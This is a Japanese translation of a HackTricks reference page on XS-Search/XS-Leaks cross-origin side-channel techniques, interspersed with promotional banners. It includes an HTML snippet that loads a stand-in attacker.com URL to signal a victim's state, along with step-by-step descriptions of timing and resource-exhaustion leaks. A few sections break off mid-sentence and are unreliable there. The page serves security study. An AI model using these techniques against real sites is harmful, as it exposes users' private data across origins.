# XS-Search/XS-Leaks

<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* **サイバーセキュリティ企業で働いていますか？** HackTricksで**会社を宣伝**したいですか？または、**最新バージョンのPEASSをダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有**するには、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。

</details>

## **基本情報**

XS-Searchは、**サイドチャネル攻撃**を悪用して、**クロスオリジン情報を外部流出**させるための技術です。

この種の攻撃には、次の要素があります：

* **脆弱なWeb**：情報を外部流出させたいWeb
* **攻撃者のWeb**：攻撃者が作成し、被害者がアクセスするWeb
* **インクルージョンメソッド**：脆弱なWebを攻撃者のWebから読み込むために使用されるメソッド（window.open、iframe、fetch、hrefを使用したHTMLタグなど）
* **リーク技術**：脆弱なWebにアクセスした後、インクルージョンメソッドから得られた情報との間でWebの潜在的な状態を区別するために使用される技術
* **状態**：被害者を区別するために脆弱なWebが持つ可能性のある2つの状態
* **検出可能な違い**：攻撃者が脆弱なWebの状態を判断するために試みる必要がある情報

### 検出可能な違い

脆弱なページの2つの状態を区別するために、次のことに注意することができます：

* **ステータスコード**。攻撃者は、クロスオリジンで**異なるHTTPレスポンスステータスコード**（サーバーエラー、クライアントエラー、認証エラーなど）を区別することができます。
* **APIの使用**。この検出可能な違いにより、攻撃者はページ間での**Web APIの使用**を検出することができ、クロスオリジンページが特定のJavaScript Web APIを使用しているかどうかを推測することができます。
* **リダイレクト**。Webアプリケーションがユーザーを**別のページに移動**させたかどうかを検出することができます。これはHTTPリダイレクトに限らず、JavaScriptやHTMLによってトリガーされるリダイレクトも含まれます。
* **ページの内容**。これらの検出可能な**違いは、HTTPレスポンスボディ自体またはページに含まれるサブリソースに現れます**。たとえば、これは含まれるフレームの数（cf. XS-Leak on Gitlab）や画像のサイズの違いなどです。
* **HTTPヘッダー**。攻撃者は、特定のHTTPレスポンスヘッダーの存在を検出し、その値を収集することができます。これには、X-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなどのヘッダーが含まれます。
* **タイミング**：攻撃者は、2つの状態間に一貫した時間差が存在することを検出することができます。

### インクルージョンメソッド

* **HTML要素**。HTMLには、**クロスオリジンリソースのインクルージョン**を可能にするさまざまな要素があります。スタイルシート、画像、スクリプトなどの要素は、被害者のブラウザに指定された非HTMLリソースのリクエストを要求します。この目的のために使用できるHTML要素のリストはオンラインで利用可能です（[https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)）。
* **フレーム**。**iframe**、**object**、**embed**などの要素は、攻撃者のページに直接他のHTMLリソースを埋め込むことができます。ページが**フレーミング保護を使用していない**場合、JavaScriptコードはcontentWindowプロパティを介してフレーム化されたリソースのwindowオブジェクトにアクセスすることができます。
* **ポップアップ**。**`window.open`**メソッドは、新しいブラウザタブやウィンドウにリソースを読み込みます。このメソッドは、JavaScriptコードがSOPに準拠したメソッドとプロパティにアクセスするために使用できる**ウィンドウハンドル**を返します。これらのポップアップは、シングルサインオンでよく使用されます。最新のブラウザバージョンでは、特定のユーザー操作によってトリガーされた場合にのみポップアップが許可されます。XS-Leak攻撃では、このメソッドが特に役立ちます。なぜなら、これにより、対象リソースのフレーミングとクッキーの制限を**バイパス**することができるからです。新しいブラウザバージョンでは、ウィンドウハンドルを分離する手段が最近追加されました。
* **JavaScriptリクエスト**。JavaScriptでは、対象リソースに直接リクエストを送信することができます。このためには、2つの異なる方法があります：**XMLHttpRequests**とその後継である**Fetch API**。以前のインクルージョンメソッドとは異なり、攻撃者は発行されるリクエストに対して細かい制御を持つことができます。たとえば、HTTPリダイレクトを自動的に追跡するかどうかなどです。
### リーク技術

* **イベントハンドラ**。イベントハンドラは、XS-Leaksの古典的なリーク技術と見なすことができます。さまざまな情報の源としてよく知られています。たとえば、**onload**のトリガーは、onerrorイベントとは対照的に、**リソースの正常な読み込みを示します**。
* **エラーメッセージ**。イベントハンドラの他に、エラーメッセージは**JavaScriptの例外**や**特別なエラーページ**として発生することがあります。エラーメッセージは、リーク技術によって直接スローされるなど、さまざまなステップで発生することがあります。リーク技術は、エラーメッセージに直接**含まれる追加の情報**を使用するか、**エラーメッセージの表示と不在の違い**を区別することができます。
* **グローバル制限**。すべてのコンピュータには物理的な制限があり、ブラウザも同様です。たとえば、利用可能なメモリの量はブラウザの実行中のタブを制限します。同様に、ブラウザ全体に対して強制される他のブラウザ制限にも同じことが言えます。攻撃者が**制限が達成された時点を特定できれば、これをリーク技術として使用することができます**。
* **グローバルステート**。ブラウザには、すべてのページが相互作用できる**グローバルステート**があります。この相互作用が攻撃者のウェブサイトから検出可能であれば、これをリーク技術として使用することができます。たとえば、**History**インターフェースは、タブやフレームで訪れたページを操作することができます。これにより、**エントリの数**によって、攻撃者は異なるオリジンのページについての結論を導くことができます。
* **パフォーマンスAPI**。パフォーマンスAPIは、現在のページの**パフォーマンス情報にアクセスするために使用されます**。エントリには、ドキュメントとページによってロードされたすべてのリソースの詳細なネットワークタイミングデータが含まれています。これにより、攻撃者は**要求されたリソースについての結論を導くことができます**。たとえば、一部のリクエストに対してブラウザがパフォーマンスエントリを作成しないケースを特定しました。
* **読み取り可能な属性**。HTMLには、クロスオリジンで**読み取り可能な属性**がいくつかあります。この読み取りアクセスはリーク技術として使用することができます。たとえば、JavaScriptコードは、window.frame.lengthプロパティを使用して、ウェブページに含まれるフレームの数をクロスオリジンで読み取ることができます。

#### **タイミングベースの技術**

以下のいくつかの技術では、ウェブページの可能な状態の違いを検出するためにタイミングを使用します。ウェブブラウザで時間を計測するためのさまざまな方法があります。

**クロック**：[performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) APIを使用すると、高解像度のタイミング測定を行うことができます。\
攻撃者は、暗黙のクロックを作成するために悪用できるAPIが多数あります：[Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API)、[Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel)、[requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)、[setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout)、CSSアニメーションなど。\
詳細についてはこちら：[https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).

## XSinator

XSinatorは、その論文で説明されているいくつかの既知のXS-Leakに対してブラウザを自動的にチェックするツールです：[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)\
ツールにアクセスするには、[https://xsinator.com/](https://xsinator.com/)にアクセスしてください。

{% hint style="warning" %}
**除外されたXS-Leaks**：XSinatorでは、他のリークに干渉する可能性があるため、**サービスワーカーに依存するXS-Leaksは除外**しました。さらに、特定のWebアプリケーションのミス構成やバグに依存するXS-Leaksも**除外**しました。たとえば、Cross-Origin Resource Sharing（CORS）のミス構成、postMessageの漏洩、またはクロスサイトスクリプティングなどです。さらに、時間ベースのXS-Leaksも除外しました。なぜなら、それらは遅く、ノイズが多く、正確性に欠けることが多いからです。
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化できます。\
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## イベントハンドラの技術

### Onload/Onerror

* **含有方法**：フレーム、HTML要素
* **検出可能な違い**：ステータスコード
* **詳細情報**：[https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **概要**：リソースをロードしようとする場合、onerror/onloadイベントがリソースの読み込みが成功/失敗したことを示すため、ステータスコードを特定することが可能です。
* **コード例**：[https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}

このコード例では、**JSからスクリプトオブジェクトをロード**しようとしますが、オブジェクト、スタイルシート、画像、オーディオなどの**他のタグ**も使用できます。さらに、タグを直接**インジェクト**し、タグ内に`onload`と`onerror`イベントを宣言することも可能です（JSからインジェクトするのではなく）。この攻撃のスクリプトレスバージョンもあります。
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
この場合、`example.com/404`が見つからない場合には`attacker.com/?error`が読み込まれます。

### Onload Timing

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Summary:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API**を使用して、リクエストの実行にかかる時間を測定することができます。ただし、[**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming)など他のクロックも使用できます。 
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 他の例は以下を参照してください:

{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}

#### Onload Timing + Forced Heavy Task

このテクニックは前のものと同様ですが、**攻撃者**は**回答が肯定的または否定的**である場合に、**関連する時間を強制的に**かける**いくつかのアクション**を実行し、その時間を測定します。

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}

### unload/beforeunload Timing

* **Inclusion Methods**: Frames
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Summary:** [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers)を使用して、リクエストの実行にかかる時間を測定することができます。他のクロックも使用できます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

[`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event)と[`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event)イベントを使用して、リソースの取得にかかる時間を測定することができます。これは、**`beforeunload`**がブラウザが**新しいナビゲーション**リクエストを要求するときにトリガーされ、**`unload`**がその**ナビゲーションが実際に発生する**ときにトリガーされるためです。この動作により、これらの2つのイベント間の時間差を計算し、ブラウザがリソースの取得を完了するまでにかかった時間を測定することができます。

### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

* **Inclusion Methods**: Frames
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Summary:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) APIを使用して、リクエストの実行にかかる時間を測定することができます。他のクロックも使用できます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

もしページに[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/)が実装されていない場合、攻撃者はページとすべてのサブリソースがネットワーク上で読み込まれるまでにかかる時間を計測することができます。デフォルトでは、iframeの`onload`ハンドラはすべてのリソースが読み込まれ、すべてのJavaScriptの実行が完了した後に呼び出されます。しかし、攻撃者は`<iframe>`内に[`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)属性を含めることで、スクリプトの実行のノイズを排除することができます。この属性はJavaScriptの実行を含む多くの機能をブロックするため、ほぼ純粋なネットワーク測定結果が得られます。

### #ID + error + onload

* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**:
* **Summary**: 正しいコンテンツにアクセスした場合にページがエラーになり、任意のコンテンツにアクセスした場合に正しく読み込まれるようにページを設定できる場合、時間を測定せずにすべての情報を抽出するためのループを作成することができます。
* **Code Example**:

秘密のコンテンツを含む**ページ**を**iframe**内に**挿入**できると仮定しましょう。

被害者には、CSRFを悪用して例えば"_**flag**_"を含むファイルを検索させることができます。Iframe内では、_**onloadイベント**_が**常に少なくとも1回実行**されることがわかります。その後、URL内のハッシュの**コンテンツ**のみを変更して、**iframe**の**URL**を**変更**することができます。

例えば:

1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2

最初のURLが**正常に読み込まれた**場合、URLのハッシュ部分を変更しても**onload**イベントは**再度トリガーされません**。しかし、ページが読み込まれる際に何らかの**エラー**が発生した場合、**onload**イベントは**再度トリガーされます**。

そのため、**正しく**読み込まれたページとアクセス時に**エラー**があるページを**区別**することができます。

### Javascript Execution

* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**:
* **Summary:** もしページが**機密情報**またはユーザーによって**制御可能なコンテンツ**を返している場合、ユーザーは**負の場合に有効なJSコード**を設定し、各試行を**`<script>`**タグ内でロードすることができます。したがって、**負の**場合には攻撃者の**コードが実行**され、**肯定的**な場合には**何も**実行されません。
* **Code Example:**

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}
### CORB - Onerror

* **Inclusion Methods**: HTML要素
* **Detectable Difference**: ステータスコードとヘッダー
* **詳細情報**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **概要**: 攻撃者は、レスポンスが_CORB保護された_ `Content-Type`（および`nosniff`）を返し、ステータスコードが`2xx`である場合にCORBが強制されているかどうかを観察できます。これにより、この保護を検出することで、攻撃者はステータスコード（成功またはエラー）と`Content-Type`（CORBによって保護されているかどうか）の組み合わせを**漏洩**させることができます。
* **コード例**:

攻撃に関する詳細情報については、詳細情報リンクを参照してください。

### onblur

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ページのコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **概要**: id属性またはname属性から機密データを漏洩させます。
* **コード例**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)

**iframe**内で**ページ**を読み込み、**`#id_value`**を使用して、iframeの要素に**フォーカスを当てる**ことができます。その後、**`onblur`**シグナルがトリガーされると、ID要素が存在します。**`portal`**タグでも同じ攻撃を実行できます。

### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>

* **Inclusion Methods**: フレーム、ポップアップ
* **Detectable Difference**: APIの使用
* **詳細情報**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **概要**: postMessageから機密情報を収集するか、postMessageの存在をオラクルとして使用してユーザーのページ内の状態を知ることができます。
* **コード例**: `Any code listening for all postMessages.`

アプリケーションでは、[postMessageブロードキャスト](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)を使用して他のオリジンと情報を共有することがよくあります。これらのメッセージを聞くことで、**機密情報**を見つけることができます（`targetOrigin`パラメータが使用されていない場合は潜在的に）。また、メッセージを受け取ること自体が**オラクルとして使用**されることもあります（ログインしている場合にのみこの種類のメッセージを受け取ります）。

<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。\
今すぐアクセスを取得してください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Global Limits Techniques

### WebSocket API

* **Inclusion Methods**: フレーム、ポップアップ
* **Detectable Difference**: APIの使用
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **概要**: WebSocket接続の制限を使い果たすことで、クロスオリジンページのWebSocket接続の数を漏洩させます。
* **コード例**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))

ターゲットページが使用している**WebSocket接続の数**を特定することができます。これにより、攻撃者はアプリケーションの状態を検出し、WebSocket接続の数に関連する情報を漏洩させることができます。

ある**オリジン**が**WebSocket接続**オブジェクトの**最大数**を使用している場合、その接続の状態に関係なく、**新しいオブジェクトの作成はJavaScriptの例外を引き起こします**。この攻撃を実行するために、攻撃者のウェブサイトはポップアップまたはiframeでターゲットウェブサイトを開き、ターゲットウェブサイトが読み込まれた後、可能な限り最大数のWebSocket接続を作成しようとします。**スローされた例外の数**は、ターゲットウェブサイトウィンドウが使用している**WebSocket接続の数**です。

### Payment API

* **Inclusion Methods**: フレーム、ポップアップ
* **Detectable Difference**: APIの使用
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **概要**: Payment Requestの検出、1つしか同時にアクティブにできないため。
* **コード例**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)

このXS-Leakにより、攻撃者は**クロスオリジンページが支払いリクエストを開始したとき**を検出することができます。

**1つの支払いリクエストのみが同時にアクティブ**にできるため、ターゲットウェブサイトがPayment Request APIを使用している場合、このAPIを使用しようとする**さらなる試みは失敗**し、**JavaScriptの例外**が発生します。攻撃者は、定期的にPayment API UIを表示しようとすることでこれを悪用することができます。1つの試みが例外を引き起こす場合、ターゲットウェブサイトは現在それを使用しています。攻撃者は、UIを作成した直後にすぐにUIを閉じることで、これらの定期的な試みを隠すことができます。

### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>

* **Inclusion Methods**:
* **Detectable Difference**: タイミング（通常はページのコンテンツ、ステータスコードによる）
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **概要**: シングルスレッドのJSイベントループを乱用して、ウェブの実行時間を計測します。
* **コード例**:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

JavaScriptの並行性モデルは、[シングルスレッドのイベントループ](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop)に基づいているため、**一度に1つのタスクしか実行できません**。

異なるオリジンのコードが実行されるまでの
### 忙しいイベントループ <a href="#busy-event-loop" id="busy-event-loop"></a>

* **含まれる方法**：
* **検出可能な違い**：タイミング（通常はページのコンテンツ、ステータスコードによる）
* **詳細情報**：[https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **概要**：スレッドのイベントループをロックし、イベントループが再度利用可能になるまでの時間を計測します。
* **コード例**：

この技術の主な利点の1つは、攻撃元が他の起源の実行に影響を与えることができるため、サイトの分離を回避できることです。

{% hint style="warning" %}
実行タイミングでは、**ネットワーク要因を排除**して、**より正確な測定**を行うことができます。たとえば、ページを読み込む前にページで使用されるリソースを読み込むことで、ネットワーク要因を排除できます。
{% endhint %}

### コネクションプール

* **含まれる方法**：JavaScriptリクエスト
* **検出可能な違い**：タイミング（通常はページのコンテンツ、ステータスコードによる）
* **詳細情報**：[https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **概要**：攻撃者は、1つを除くすべてのソケットをロックし、ターゲットのウェブをロードすると同時に別のページをロードします。最後のページがロードを開始するまでの時間は、ターゲットページのロードにかかった時間です。
* **コード例**：

{% content-ref url="xs-search/connection-pool-example.md" %}
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}

ブラウザはサーバとの通信にソケットを使用します。オペレーティングシステムとその実行環境にはリソースが限られているため、ブラウザは制限を課さなければなりません。この制限の存在を悪用するため、攻撃者は次の手順を実行できます。

1. ブラウザの制限を確認します。たとえば、256個のグローバルソケットです。
2. 異なるホストへの255のリクエストを実行して接続をブロックし、長時間にわたって255のソケットをブロックします。
3. ターゲットページへのリクエストを行うために256番目のソケットを使用します。
4. 別のホストへ257番目のリクエストを実行します。手順2と3ですべてのソケットが使用されているため、このリクエストはプールが利用可能なソケットを受け取るまで待機する必要があります。この待機期間は、攻撃者にとってはターゲットページに属する256番目のソケットのネットワークタイミングを提供します。これは、手順3でソケットが解放されたことによってプールが利用可能なソケットを受け取ったため機能します。256番目のソケットを解放する時間は、リクエストの完了にかかる時間と直接関連しています。

詳細についてはこちら：[https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)

### 宛先別のコネクションプール

* **含まれる方法**：JavaScriptリクエスト
* **検出可能な違い**：タイミング（通常はページのコンテンツ、ステータスコードによる）
* **詳細情報**：
* **概要**：前の技術と同様ですが、Google **Chrome**は同じ起源への**6つの同時リクエストの制限**を設けています。5つをブロックし、その後6番目のリクエストを発行することで、時間を計測し、**被害者ページが同じエンドポイントに対して**さらに**リクエスト**を送信してページの**ステータス**を検出することができます。**6番目のリクエスト**は**時間がかかり**、それを検出することができます。

##

<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化できます。\
今すぐアクセスを取得：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## パフォーマンスAPIの技術

[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance)は、[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API)のデータによって強化されたパフォーマンスに関連する情報にアクセスできます。[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API)は、ネットワークリクエストのタイミング（期間など）を提供しますが、サーバから送信される`Timing-Allow-Origin: *`ヘッダがある場合、転送サイズとドメインの検索時間も提供されます。\
このデータは、[`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries)または[`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName)を使用してアクセスできます。また、[`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now)の差を使用して実行時間を取得するためにも使用できますが、これはChromeのフェッチではミリ秒しか提供されないため、より正確ではないようです。

このAPIは、リクエストの時間を計測するために使用することも、X-Frame-Optionsの使用を検出するために使用することもできます。ブロックされたページはChromeの`performance`オブジェクトに追加されないため、X-Frame-Optionsの使用を検出することができます。

### エラーリーク

* **含まれる方法**：フレーム、HTML要素
* **検出可能な違い**：ステータスコード
* **詳細情報**：[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)（5.2）
* **概要**：エラーが発生するリクエストはパフォーマンスエントリを作成しません。
* **コード例**：[https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)

エラーにつながるリクエストは、パフォーマンスエントリを作成しませんので、HTTPレスポンスステータスコードの違いを区別することができます。

### スタイルリロードエラー

* **含まれる方法**：HTML要素
* **検出可能な違い**：ステータスコード
* **詳細情報**：[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)（5.2）
* **概要**：ブラウザのバグにより、エラーが発生するリクエストが2回読み込まれます。
* **コード例**：[https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)

前の技術では、ブラウザのGCのバグにより、リソースの読み込みに失敗した場合にリソースが2回読み込まれるという2つのケースが特定されました。これに
### リクエストマージエラー

* **含有方法**: HTML要素
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要**: エラーが発生したリクエストはマージできません。
* **コード例**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

この技術は、上記の論文の表に見つかりましたが、技術の説明は見つかりませんでした。ただし、[https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)でそれをチェックするためのソースコードを見つけることができます。

### 空のページリーク

* **含有方法**: フレーム
* **検出可能な違い**: ページの内容
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要**: 空のレスポンスはリソースタイミングエントリを作成しません。
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)

攻撃者は、一部のブラウザでは**空のページはパフォーマンスエントリを作成しない**ため、リクエストが空のHTTPレスポンスボディで結果が返されたかどうかを検出することができます。

### **XSS-Auditorリーク**

* **含有方法**: フレーム
* **検出可能な違い**: ページの内容
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要**: XSS-Auditorを使用してウェブページ内の特定の要素の存在を検出します。
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)

SAでは、XSSAuditorがトリガーされたかどうかを検出し、それによって機密情報が漏洩する可能性があります。 XSS-Auditorは、SAとGC（現在は削除されました）の組み込み機能であり、クロスサイトスクリプティング（XSS）攻撃を緩和するために設計されています。 2013年、BraunとHeiderich \[7]は、XSS-Auditorを使用して誤検知で無害なスクリプトをブロックすることができることを示しました。彼らの技術に基づいて、研究者は情報を漏洩させ、クロスオリジンページで特定のコンテンツを検出します。これらのXS-Leakは、Teradaによるバグレポートで最初に説明され、後にHeyesのブログ記事でも説明されました。ただし、発見された技術は、GCのXSS-Auditorにのみ適用され、SAでは機能しません。ブロックされたページはパフォーマンスAPIエントリを作成しないため、攻撃者はまだSAのXSS-Auditorを使用して機密情報を漏洩させることができます。

### X-Frameリーク

* **含有方法**: フレーム
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **概要**: X-Frame-Optionsヘッダーを持つリソースはリソースタイミングエントリを作成しません。
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)

